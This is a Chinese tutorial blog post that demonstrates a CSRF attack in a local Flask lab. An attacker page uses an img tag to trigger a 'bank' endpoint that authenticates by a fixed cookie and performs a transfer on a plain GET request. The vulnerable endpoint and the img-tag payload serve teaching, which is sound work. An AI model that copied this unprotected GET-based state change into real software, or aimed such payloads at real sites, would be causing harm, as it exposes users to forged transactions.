深入理解csrf(flask实例)

看了好多csrf的介绍,大概意思是 在A网站登录了,存储了cookie,在此期间访问了B网站,B站里面使用可以跨域的标签比如src,来直接调用A站重要接口(例如转账)直接完成转账

之前一直不理解,为什么访问网站B的时候 会带着A的登录信息(cookie)

后来想通了,<img src='http://www.baidu.com'> 其实就相当于 直接发送http://www.baidu.com的请求 ,cookie是与当前发送请求对应的,比如在一个页面下,F5刷新后 有很多请求,比如下图,10.20.2.3对于的是10.20.2.3网站的cookie, 127.0.0.1:8000对应的是127.0.0.1的cookie(顺便提下,cookie是same-site原则,同一个ip不同端口共用一个cookie)

 flask实验如下

危险网站B flask模拟程序如下  启动在我自己的ip(10.20.2.3)下

# 此为模拟危险网站B
from flask import Flask, make_response, request, render_template

app = Flask(__name__)


@app.route('/index')
def index():
    print('index')
    return render_template('./b.html')


if __name__ == '__main__':
    app.run(port=5000, host='0.0.0.0')

 简单html如下  ,主要代码为

<img src="http://127.0.0.1:8000/account">  此接口为A网站转账接口,需要认证
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<head>
<title>HTML 页面</title>
</head>

<body>
<img src="http://127.0.0.1:8000/account">
</body>

</html>
<script>
</script>

正常银行网站模拟如下: 启动在127.0.0.0 下

from flask import Flask, make_response, request


app = Flask(__name__)


@app.route('/login')
def login():
    res = make_response('suc')
    res.set_cookie('key1', 'value1')
    res.set_cookie('key2', 'value2')
    user_name = 'user'
    password = 'pass'
    return res


@app.route('/account')
def account():
    if request.cookies.get('key1') == 'value1':
        print('转账10000')
        return '转账10000'
    else:
        print('未登录')
        return '未登录'
app.run(port=8000)

这里我用127.0.0.1 和自己ip(10.20.2.3) 来作为不同域,不会共享cookie

首先访问A网站http://127.0.0.1:8000/account,显示未登录

访问http://127.0.0.1:8000/login 获取cookie

再次访问http://127.0.0.1:8000/account

 

因为有cookie 所以成功通过认证

这时访问危险网站http://10.20.2.3:5000/index

可以看到 有cookie,成功通过了认证,它利用了原网站的cookie

这样就完成了一次攻击 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值